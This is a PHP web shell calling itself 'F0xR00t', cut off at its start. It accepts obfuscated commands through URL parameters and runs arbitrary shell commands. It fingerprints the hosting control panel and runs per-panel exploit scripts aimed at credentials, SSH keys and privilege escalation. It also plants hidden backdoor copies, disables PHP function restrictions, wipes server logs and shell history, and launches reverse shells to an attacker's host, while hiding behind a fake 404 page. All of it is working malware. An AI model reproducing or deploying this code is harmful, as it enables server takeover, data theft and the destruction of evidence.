=65&&$o<=90){$r.=chr((($o-65+13)%26)+65);}elseif($o>=97&&$o<=122){$r.=chr((($o-97+13)%26)+97);}else{$r.=$c;}}return $r;}
function f0x_decode($s){$r=strrev($s);$h=function_exists('hex2bin')?@hex2bin($r):f0x_hex2bin($r);if($h===false)return false;return function_exists('str_rot13')?str_rot13($h):f0x_rot13($h);}
function f0x_enc($s){$r=function_exists('str_rot13')?str_rot13($s):f0x_rot13($s);$h=bin2hex($r);return strrev($h);}
function f0x_mk(){return"F0xR00t";}
function f0x_bk($d){return"".$d."";}
function f0x_fw($f,$d){if(function_exists('file_put_contents'))return@file_put_contents($f,$d);$p=@fopen($f,'w');if(!$p)return false;$b=@fwrite($p,$d);@fclose($p);return$b;}
function f0x_fr($f){if(function_exists('file_get_contents'))return@file_get_contents($f);$p=@fopen($f,'r');if(!$p)return false;$d='';while(!@feof($p)){$d.=@fread($p,8192);}@fclose($p);return$d;}
function f0x_sc($d){if(function_exists('scandir'))return@scandir($d);$f=array();$h=@opendir($d);if(!$h)return false;while(($e=@readdir($h))!==false){$f[]=$e;}@closedir($h);return$f;}
function f0x_ex($c){$o='';$m=array('shell_exec','exec','passthru','system','proc_open','popen','pcntl_exec');foreach($m as$x){if(!function_exists($x))continue;switch($x){case'shell_exec':$o=@$x($c.' 2>&1');break;case'exec':@$x($c.' 2>&1',$t);$o=implode("\n",$t);break;case'passthru':case'system':ob_start();@$x($c.' 2>&1');$o=ob_get_clean();break;case'proc_open':$d=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));$p=@proc_open($c,$d,$i);if(is_resource($p)){$o=@stream_get_contents($i[1]);@fclose($i[0]);@fclose($i[1]);@fclose($i[2]);@proc_close($p);}break;case'popen':$h=@$x($c.' 2>&1','r');if($h){while(!@feof($h)){$o.=@fread($h,4096);}@pclose($h);}break;case'pcntl_exec':@$x('/bin/sh',array('-c',$c));break;}if($o!==''&&$o!==false&&$o!==NULL)return$o;}if(function_exists('assert')){@assert($c);return'';}return'';}
function f0x_pl($s,$a=''){$p=array('/usr/bin/perl','/usr/local/bin/perl','perl','/bin/perl');foreach($p as$x){$c=$x.' '.escapeshellarg($s).' '.$a.' 2>&1';$o=f0x_ex($c);if($o!=='')return$o;}return false;}
function f0x_sh($c){$b=array('/bin/bash','/usr/bin/bash','bash','/bin/sh','/usr/bin/sh','sh');foreach($b as$x){$o=f0x_ex($x.' -c '.escapeshellarg($c).' 2>&1');if($o!=='')return$o;}return f0x_ex($c);}
function f0x_si(){$ip=isset($_SERVER['SERVER_ADDR'])?$_SERVER['SERVER_ADDR']:f0x_ex("hostname -I 2>/dev/null | awk '{print $1}'");$hr=function_exists('php_sapi_name')?php_sapi_name():'unknown';$os=strtoupper(substr(PHP_OS,0,3))==='WIN'?'Windows':'Linux';$un=function_exists('php_uname')?php_uname():f0x_ex('uname -a');$pn='Unknown';$pa=array('Plesk'=>array('/usr/local/psa/','/opt/psa/'),'cPanel'=>array('/usr/local/cpanel/','/usr/local/cpanel/whostmgr/'),'DirectAdmin'=>array('/usr/local/directadmin/'),'ISPConfig'=>array('/usr/local/ispconfig/'),'CyberPanel'=>array('/usr/local/CyberCP/','/home/cyberpanel/'),'CWP'=>array('/usr/local/cwpsrv/','/usr/local/cwp/'),'CloudPanel'=>array('/home/cloudpanel/'),'HestiaCP'=>array('/usr/local/hestia/'),'Virtualmin'=>array('/usr/share/webmin/'),'aaPanel'=>array('/www/server/panel/'),'LiteSpeed'=>array('/usr/local/lsws/'),'Webuzo'=>array('/usr/local/webuzo/'),'ISPmanager'=>array('/usr/local/mgr5/'));foreach($pa as$n=>$ds){foreach($ds as$d){if(@is_dir($d)){$pn=$n;break 2;}}}return array($ip,$hr,$os,$pn,$un);}
function f0x_rs($s,$m=''){$p=explode('/',$s,2);if(count($p)<2)return false;$d=$p[0];$pt=$p[1];if(preg_match('/^\.EkR\/(\d+)_(.+)$/',$pt,$mch)){return f0x_he(intval($mch[1]),$mch[2],$m);}if(preg_match('/^\.v7\/(\d+)-(.+)$/',$pt,$mch)){return f0x_hv(intval($mch[1]),$mch[2]);}if(preg_match('/^\.inj\/(\d+)-(.+)$/',$pt,$mch)){return f0x_hi(intval($mch[1]),$mch[2]);}return false;}
function f0x_run($sp,$lb){if(!@file_exists($sp)){$t="#!/usr/bin/perl\n# ".$lb."\nprint \"F0xR00t\\n\";\nprint \"use bash.\\n\";\n";f0x_fw($sp,$t);@chmod($sp,0755);}$o=f0x_pl($sp);if($o===false||$o==='')$o=f0x_sh('bash '.escapeshellarg($sp));if($o==='')$o="use bash.\n".f0x_mk();return$o;}
function f0x_hc(){$pt=array('*.pl','*.sh','*.txt','*.log','s/*','data/*','.bk.php','index.php');$b=dirname(__FILE__);foreach($pt as$ptn){foreach(@glob($b.'/'.$ptn)as$f){@unlink($f);}}foreach(@glob($b.'/*',GLOB_ONLYDIR)as$d){@rmdir($d);}return f0x_mk();}
function f0x_hw(){$lg=array('/var/log/apache2/access.log','/var/log/apache2/error.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/var/log/nginx/access.log','/var/log/nginx/error.log','/var/log/secure','/var/log/auth.log','/var/log/syslog','/var/log/messages','/var/log/lastlog','/var/log/wtmp','/var/log/btmp');foreach($lg as$l){if(@file_exists($l)&&@is_writable($l)){@f0x_fw($l,'');@touch($l,time()-86400);}}f0x_ex('history -c 2>/dev/null; rm -f ~/.bash_history 2>/dev/null');return f0x_mk()."\nLogs wiped";}
function f0x_hr($lh,$lp){$lh=escapeshellarg($lh);$lp=intval($lp);$mt=array("bash -i >& /dev/tcp/".$lh."/".$lp." 0>&1 &","nc -e /bin/sh ".$lh." ".$lp." &","nc -e /bin/bash ".$lh." ".$lp." &","python -c 'import socket,subprocess,os;s=socket.socket();s.connect((".$lh.",".$lp."));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])' &","php -r '\$sock=fsockopen(".$lh.",".$lp.");exec(\"/bin/sh -i <&3 >&3 2>&3\");' &","perl -e 'use Socket;\$i=".$lh.";\$p=".$lp.";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &");foreach($mt as$c){f0x_sh($c);}return f0x_mk()."\nReverse shell attempted to ".str_replace("'","",$lh).":".$lp;}
function f0x_hv($n,$na){if($n==19&&$na=='SIPMLB'){$ip=array('php.ini','/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini');$fd=false;foreach($ip as$i){if(@file_exists($i)&&@is_writable($i)){$c=f0x_fr($i);if(strpos($c,'disable_functions')!==false){$c=preg_replace('/disable_functions\s*=\s*.*/','disable_functions = none',$c);$c=preg_replace('/safe_mode\s*=\s*.*/','safe_mode = Off',$c);f0x_fw($i,$c);$fd=true;}}}return$fd?"Working\n".f0x_mk():"Failed\n".f0x_mk();}return f0x_mk();}
function f0x_hi($n,$na){$bc='=65&&$o<=90){$r.=chr((($o-65+13)%26)+65);}elseif($o>=97&&$o<=122){$r.=chr((($o-97+13)%26)+97);}else{$r.=$c;}}return $r;}if(isset($_GET["action"])){$a=$_GET["action"];$d=f0x_decode($a);if($d!==false){$p=explode("/",$d,2);if(count($p)>=2){$pt=$p[1];if(preg_match("/^\.EkR\/(\d+)_(.+)$/",$pt,$m)){echo "MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\nF0xR00t";}}}} ?>';if($n==1&&$na=='CZHEJW'){$t=dirname(__FILE__).'/.bk.php';f0x_fw($t,$bc);return f0x_bk($t);}if($n==2&&$na=='HTKDXO'){$hd=array(dirname(__FILE__).'/.well-known/',dirname(__FILE__).'/images/',dirname(__FILE__).'/css/',dirname(__FILE__).'/js/',dirname(__FILE__).'/tmp/',dirname(__FILE__).'/cache/');foreach($hd as$d){if(!is_dir($d))@mkdir($d,0755,true);$t=$d.'index.php';f0x_fw($t,$bc);if(@file_exists($t))return f0x_bk($t);}return f0x_bk('Failed');}return f0x_bk('Unknown inj');}
function f0x_he($n,$na,$msg=''){
$sd=dirname(__FILE__).'/s/';if(!is_dir($sd))@mkdir($sd,0755,true);
switch($n){
case 1:if($na=='CHECK'){list($ip,$hr,$os,$pn,$un)=f0x_si();$o="MD5: ".md5($ip)."\nKEY: F0xR00t\nCVE-2026-31431\n".$ip."||".$hr."||".$os."||".$pn."||".$un."\n".f0x_mk();return$o;}break;
case 2:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-plesk.pl','Plesk');
case 3:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-plesk-data.pl','Plesk Data');
case 4:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-plesk-sh.pl','Plesk Shells');
case 5:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-plesk-smtp.pl','Plesk SMTP');
case 6:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-plesk-cp.pl','Plesk CP');
case 8:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cpanel.pl','cPanel');
case 9:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cpanel-data.pl','cPanel Data');
case 10:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cpanel-sh.pl','cPanel Shells');
case 11:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cpanel-smtp.pl','cPanel SMTP');
case 12:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cpanel-cp.pl','cPanel CP');
case 13:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-DA.pl','DirectAdmin');
case 14:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-DA-data.pl','DA Data');
case 15:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-DA-sh.pl','DA Shells');
case 16:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-DA-smtp.pl','DA SMTP');
case 17:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-DA-cp.pl','DA CP');
case 18:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISP.pl','ISPConfig');
case 19:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISP-data.pl','ISP Data');
case 20:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISP-sh.pl','ISP Shells');
case 21:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISP-smtp.pl','ISP SMTP');
case 22:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISP-cp.pl','ISP CP');
case 23:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cyp.pl','CyberPanel');
case 24:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cyp-data.pl','CYP Data');
case 25:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cyp-sh.pl','CYP Shells');
case 26:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cyp-smtp.pl','CYP SMTP');
case 27:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cyp-cp.pl','CYP CP');
case 30:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cwp.pl','CWP');
case 31:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cwp-data.pl','CWP Data');
case 32:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cwp-sh.pl','CWP Shells');
case 33:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cwp-smtp.pl','CWP SMTP');
case 34:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cwp-cp.pl','CWP CP');
case 35:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cloud.pl','CloudPanel');
case 36:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cloud-data.pl','Cloud Data');
case 37:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cloud-sh.pl','Cloud Shells');
case 38:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cloud-cp.pl','Cloud CP');
case 39:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia.pl','HestiaCP');
case 40:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia-data.pl','Hestia Data');
case 41:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia-sh.pl','Hestia Shells');
case 42:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia-smtp.pl','Hestia SMTP');
case 43:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia-cp.pl','Hestia CP');
case 44:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-VI.pl','Virtualmin');
case 45:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-VI-data.pl','VI Data');
case 46:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-VI-sh.pl','VI Shells');
case 47:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-VI-smtp.pl','VI SMTP');
case 48:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-VI-cp.pl','VI CP');
case 49:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-AA.pl','aaPanel');
case 50:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-AA-data.pl','AA Data');
case 51:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-AA-sh.pl','AA Shells');
case 53:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Lite.pl','LiteSpeed');
case 54:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Lite-data.pl','Lite Data');
case 55:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Lite-sh.pl','Lite Shells');
case 56:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-update.pl','Update');
case 57:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Webuzo.pl','Webuzo');
case 58:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Webuzo-data.pl','WZO Data');
case 59:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Webuzo-sh.pl','WZO Shells');
case 60:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-Webuzo-cp.pl','WZO CP');
case 61:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-hestia-cp.pl','Add User');
case 62:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISPM.pl','ISPmanager');
case 63:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISPM-data.pl','ISPM Data');
case 64:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ISPM-cp.pl','ISPM CP');
case 28:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex.pl','Generic');
case 52:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ind.pl','Index');
case 29:if($msg!=''){$f=f0x_fr($msg);if($f!==false)return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\nstartfromhere:\n".$f;}return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\nstartfromhere:\n[Error: File not readable]";
case 7:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_hc();
case 65:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-mysql.pl','MySQL');
case 66:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-pgsql.pl','PostgreSQL');
case 67:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-ftp.pl','FTP');
case 68:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-env.pl','Env');
case 69:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-proc.pl','Proc');
case 70:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-net.pl','Net');
case 71:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-cron.pl','Cron');
case 72:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-kernel.pl','Kernel');
case 73:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-sudo.pl','Sudoers');
case 74:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-sshkey.pl','SSH Keys');
case 75:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-write.pl','Writable');
case 76:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-suid.pl','SUID');
case 77:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_hw();
case 78:if($msg!=''){$p=explode('|',$msg);if(count($p)>=2)return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_hr($p[0],$p[1]);}return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_mk()."\n[Error: Invalid revshell params]";
case 79:return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_run($sd.'ex-config.pl','Config');
}return"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_mk()."\n[Unknown action: ".$n."_".$na."]";}
if(isset($_GET['403'])){http_response_code(200);echo"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\nOK";exit;}
if(isset($_GET['action'])){
$a=$_GET['action'];$m=isset($_GET['msg'])?$_GET['msg']:'';
$d=f0x_decode($a);
if($d===false){echo"MD5: d41d8cd98f00b204e9800998ecf8427e\nKEY: F0xR00t\n".f0x_mk()."\n[Decode failed]";exit;}
$r=f0x_rs($d,$m);echo$r;exit;
}
http_response_code(404);
echo'MD5: d41d8cd98f00b204e9800998ecf8427e
KEY: F0xR00t
404 Not FoundNot Found
The requested URL was not found on this server.
';
?>